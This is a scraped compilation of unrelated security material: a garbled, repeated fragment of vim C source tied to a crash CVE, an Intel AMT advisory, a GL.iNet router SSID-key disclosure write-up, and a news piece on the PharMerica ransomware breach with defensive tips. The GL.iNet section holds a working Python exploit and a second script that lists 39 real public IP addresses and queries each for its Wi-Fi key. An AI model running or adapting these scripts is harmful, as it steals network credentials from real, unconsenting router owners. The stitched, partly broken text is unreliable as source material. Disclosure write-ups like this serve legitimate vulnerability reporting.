// Close the current or specified tab page. if (c1 == -999) tp = curtab; else tp = find\_tabpage(-c1); if (tp == curtab) { if (first\_tabpage->tp\_next != NULL) tabpage\_close(FALSE); } else if (tp != NULL) tabpage\_close\_other(tp, FALSE); } else if (tp != NULL) tabpage\_close\_other(tp, FALSE); } return TRUE; } else if (is\_drag && in\_tab\_line) { c1 = TabPageIdxs\[mouse\_col\]; tabpage\_move(c1 <= 0 ? 9999 : c1 - 1); return FALSE; } return TRUE; } else if (is\_drag && in\_tab\_line) { c1 = TabPageIdxs\[mouse\_col\]; tabpage\_move(c1 <= 0 ? 9999 : c1 - 1); return FALSE; } 
// When 'mousemodel' is "popup" or "popup\_setpos", translate mouse events:

CVE-2022-2980: patch 9.0.0259: crash with mouse click when not initialized · vim/vim@8052575

Insufficiently protected credentials in USB provisioning for Intel(R) AMT SDK before version 16.0.3, Intel(R) SCS before version 12.2 and Intel(R) MEBx before versions 11.0.0.0012, 12.0.0.0011, 14.0.0.0004 and 15.0.0.0004 may allow an unauthenticated user to potentially enable information disclosure via physical access.

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**Intel® AMT Advisory**

**Summary: **

A potential security vulnerability in the Intel® Active Management Technology (AMT) SDK, Intel® Setup and Configuration Software (SCS) and Intel® Management Engine BIOS eXtensions (MEBx) may allow escalation of privilege.  Intel is releasing software and firmware updates to mitigate this potential vulnerability.

**Vulnerability Details:**

CVEID: CVE-2021-33107

Description: Insufficiently protected credentials in USB provisioning for Intel(R) AMT SDK before version 16.0.3, Intel(R) SCS before version 12.2 and Intel(R) MEBx before versions 11.0.0.0012, 12.0.0.0011, 14.0.0.0004 and 15.0.0.0004 may allow an unauthenticated user to potentially enable information disclosure via physical access.

CVSS Base Score: 7.6 High

CVSS Vector: CVSS:3.1/AV:P/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:H

**Affected Products:**

Intel® AMT SDK before version 16.0.3.

Intel® SCS before version 12.2.

Intel® MEBx before versions 11.0.0.0012, 12.0.0.0011, 14.0.0.0004 and 15.0.0.0004.

Note: Firmware versions of Intel® AMT 2.x thru 10.x are no longer supported versions. There is no new general release planned for these versions.

**Recommendations:**

Intel recommends updating the Intel® AMT SDK to version 16.0.3 or later.  

Intel recommends updating the Intel® SCS to version 12.2 or transition to the latest version of Intel® Endpoint Management Assistant (Intel® EMA).   

Intel recommends that users of the Intel® MEBx to versions 11.0.0.0012, 12.0.0.0011, 14.0.0.0004 and 15.0.0.0004 or later provided by the system manufacturer that addresses this issue.

For additional technical details and considerations, consult this Intel Support article.  

Updates are available for download at this location:

https://www.intel.com/content/www/us/en/developer/tools/active-management-technology-sdk/overview.html

https://www.intel.com/content/www/us/en/download/19449/intel-endpoint-management-assistant-intel-ema.html

Chipset/SOC or Processor

MEBx mitigated version or higher

Intel® 500 Series Chipset

15.0.0.0004

Intel® 500 Series Chipset

15.0.0.0004

Intel® 400 Series Chipset

14.0.0.0004

8th Gen Intel® Core™ processor

Pentium® Gold processor series (G54XXU)

Celeron® processor 4000 series

12.0.0.0011

8th Gen Intel® Core™ processor

11.0.0.0012

Intel® 300 Series Chipset

12.0.0.0011

Intel® C240 series chipset

12.0.0.0011

Intel® 200 series chipset

Intel® 100 series chipset

11.0.0.0012

Intel® C230 series chipset

11.0.0.0012

Intel® 100 series chipset

11.0.0.0012

Intel® C420 chipset

11.0.0.0012

Intel® C620 series chipset

11.0.0.0012

**Acknowledgements:**

The following issue was found internally by Intel employees.  Intel would like to thank Dan Horovitz.

Intel, and nearly the entire technology industry, follows a disclosure practice called Coordinated Disclosure, under which a cybersecurity vulnerability is generally publicly disclosed only after mitigations are available.

**Revision History**

Revision

Date

Description

1.0

02/08/2022

Initial Release

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CVE-2021-33107: INTEL-SA-00575

An issue was discovered on GL.iNet devices before 3.216. An API endpoint reveals information about the Wi-Fi configuration, including the SSID and key.

**GL.iNET SSID Key Disclosure**

* **CVSS Score** - 8.3, High (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:L/I:L/A:L)
* **Overview** - An API endpoint for all GL.iNET devices reveals information about the WiFi configuration, including SSID and key. This endpoint can be accessed without any sort of authentication (although the 4.x firmware claims authentication is required). Affects versions <= 3.215. Example request and response below:

 POST /api/router/mesh/status HTTP/1.1
 Host: 192.168.8.1
 Content-Type: application/x-www-form-urlencoded
 Connection: close
 Content-Length: 4
 
 mac=
 
 HTTP/1.1 200 OK
 Content-Type: application/json
 Content-Length: 143
 Connection: close
 Date: Thu, 29 Dec 2022 21:51:13 GMT
 Server: lighttpd/1.4.48
 
 {"del":"0","led":"1","led_sync":"0","wifi_sync":"0","ssid":"GL-XE300-343","key":"goodlife","encryption":"psk2","version":"3.214","code":0}
 

* **Description** - The endpoint /api/router/mesh/status is not listed in the front-end of the web GUI for all GL.iNET devices
* **Steps to reproduce** - run the Proof of Concept in the **PoC** section below using python3 exploit.py <domain/IP>, such as python3 exploit.py 192.168.8.1. Information will be returned such as {'del': '0', 'led': '1', 'led_sync': '0', 'disabled': '2G', 'wifi_sync': '0', 'ssid': 'GL-XE300-343', 'key': 'goodlife', 'encryption': 'psk2', 'version': '3.215', 'code': 0}
* **Impact**
 * Since this exploit isn't very useful in default configurations for GL.iNET devices, a section on impact is needed. By default (on the device I've looked at), firewall rules block anything coming from the WAN side, meaning the only way to access the Web GUI is to already be on the LAN, which means the SSID key is already known.
 * However, this exploit is still relevant in non-standard configurations, such as ones where access to the Web GUI is enabled without having to be on the LAN (such as opening up the WAN firewall). This may allow an attacker to connect to the internal LAN.
 * In addition, the SSID key may be related to (or the same as) the admin password for the Web GUI. In this case, sending a simple request would give you admin access to the router.
 * As an example of these scenarios, I've compiled a short list of publicly-available GL.iNET Web GUIs that don't require LAN access in the **Impact PoC** section. Note that a search on Shodan gives over 1000 results, but only 39 are included in the Python script. A majority of the IPs listed allow me to list the SSID key for their LAN. While I won't test for ethical reasons, there is a high chance that at least some of them are related to/the same as the admin password for the router.
 * This means that there are at least **1300 vulnerable GL.iNET routers** available from anyone around the world, with many more in other scenarios.

**PoC**

import requests, sys
import warnings
warnings.filterwarnings("ignore")

\## Get arguments
if (len(sys.argv) < 2):
 print("Usage: python3 exploit.py <domain/IP>")
 sys.exit(1)

url \= sys.argv\[1\]

\## Send request
data \= "mac="
headers \= {'Content-Type': 'application/x-www-form-urlencoded'}
response \= requests.request("POST", "https://"+url+"/api/router/mesh/status", verify\=False, timeout\=4, data\=data, headers\=headers)

\## Check response
try:
 print(response.json())
except:
 print("\[-\] Machine not vulnerable, error was encountered")

**Impact PoC**

import requests, sys
import warnings
warnings.filterwarnings("ignore")

IPs \= \["108.90.205.128", "109.90.119.187", "162.118.7.19:8443", "166.153.75.58", "173.72.170.60", "174.101.235.57", "185.62.151.240", "188.192.44.98", "194.37.97.59", "213.47.44.62", "216.162.194.32", "217.160.53.88", "37.80.213.8", "46.160.245.44", "50.28.223.226", "5.249.24.230", "60.241.22.108", "62.112.81.5", "63.46.29.137", "67.205.142.193", "68.160.163.70", "69.216.97.59", "72.250.53.61", "72.250.55.133", "74.72.184.86", "76.141.243.253", "76.84.210.156", "79.246.120.55", "80.151.80.107", "84.133.182.125", "84.141.234.241", "84.182.144.144", "89.238.176.15", "92.6.13.152", "93.46.98.210:8443", "94.79.171.10", "98.207.137.184", "99.226.73.153", "99.228.41.240:8443"\]

for ip in IPs:
 \## Send request
 data \= "mac="
 headers \= {'Content-Type': 'application/x-www-form-urlencoded'}
 response \= requests.request("POST", "https://"+ip+"/api/router/mesh/status", verify\=False, timeout\=4, data\=data, headers\=headers)


 \## Check response
 try:
 print(response.json())
 except:
 print("\[-\] Machine not vulnerable, error was encountered")

CVE-2023-31478: CVE-issues/SSID_Key_Disclosure.md at main · gl-inet/CVE-issues

Categories: News
Categories: Ransomware
Tags: PharMerica

Tags:  Money Message

Tags:  ransomware

Tags:  PII

Tags:  SSN

US pharmacy giant PharMerica has reported a cybersecurity incident that affects over 5.8 million people. The data theft has been claimed by ransomware group Money Message.



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US pharmacy giant PharMerica has notified over 5.8 million people about a security incident in which it says personal information and medical information may have been obtained by cybercriminals. The Data Breach Notification lists the total number of persons affected as 5,815,591.

An investigation was started after PharMerica noticed suspicious activity on its network. The investigation showed that an unauthorized party accessed PharMerica computer systems on March 12-13, 2023, and that this party may have had access to certain personal information. The incident was noticed on March 14, and a week later PharMerica identified that the personal information accessed included names, dates of birth, Social Security numbers, medication lists and health insurance information.

Ransomware group Money Message has claimed responsibility for the attack. The gang claims that they encrypted almost the entire PharMerica infrastructure, and has published parts of the stolen data to their leak site.

_Image courtesy of BleepingComputer_

Money Message is a new ransomware which targets both Windows and Linux systems. As we mentioned in our May ransomware review, Taiwanese PC parts maker MSI also fell victim to Money Message.

On its website PharMerica says:

> “At this point, PharMerica is not aware of any fraud or identity theft to any individual as a result of this incident, but is nonetheless notifying potentially affected individuals to provide them with more information and resources. The notice will include information on steps individuals can take to protect themselves against potential fraud or identity theft. PharMerica has arranged for complimentary identity protection and credit monitoring services for potentially affected individuals.”

An extra point of concern is that a relative large part of the people affected by the breach have passed away, which makes it unlikely that relatives will regularly monitor their credit reports, making any cybercrime related to the stolen data even more difficult to detect and stop.

**What to do if you've been caught in a data breach**

There are some actions you can take if you are, or suspect you may have been, the victim of a data breach.

*   Check the vendor's advice. Every breach is different, so check with the vendor to find out what's happened, and follow any specific advice they offer.
*   Change your password. You can make a stolen password useless to thieves by changing it. Choose a strong password that you don't use for anything else. Better yet, let a password manager choose one for you.
*   Enable two-factor authentication (2FA). If you can, use a FIDO2-compliant hardware key, laptop or phone as your second factor. Some forms of two-factor authentication (2FA) can be phished just as easily as a password. 2FA that relies on a FIDO2 device can’t be phished.
*   Watch out for fake vendors. The thieves may contact you posing as the vendor. Check the vendor website to see if they are contacting victims, and verify any contacts using a different communication channel.
*   Take your time. Phishing attacks often impersonate people or brands you know, and use themes that require urgent attention, such as missed deliveries, account suspensions, and security alerts.

**How to avoid ransomware**

*   **Block common forms of entry.** Create a plan for patching vulnerabilities in internet-facing systems quickly; and disable or harden remote access like RDP and VPNs.
*   **Prevent intrusions.** Stop threats early before they can even infiltrate or infect your endpoints. Use endpoint security software that can prevent exploits and malware used to deliver ransomware.
*   **Detect intrusions.** Make it harder for intruders to operate inside your organization by segmenting networks and assigning access rights prudently. Use EDR or MDR to detect unusual activity before an attack occurs.
*   **Stop malicious encryption.** Deploy Endpoint Detection and Response software like Malwarebytes EDR that uses multiple different detection techniques to identify ransomware, and ransomware rollback to restore damaged system files.
*   **Create offsite, offline backups.** Keep backups offsite and offline, beyond the reach of attackers. Test them regularly to make sure you can restore essential business functions swiftly.
*   **Don’t get attacked twice.** Once you've isolated the outbreak and stopped the first attack, you must remove every trace of the attackers, their malware, their tools, and their methods of entry, to avoid being attacked again.

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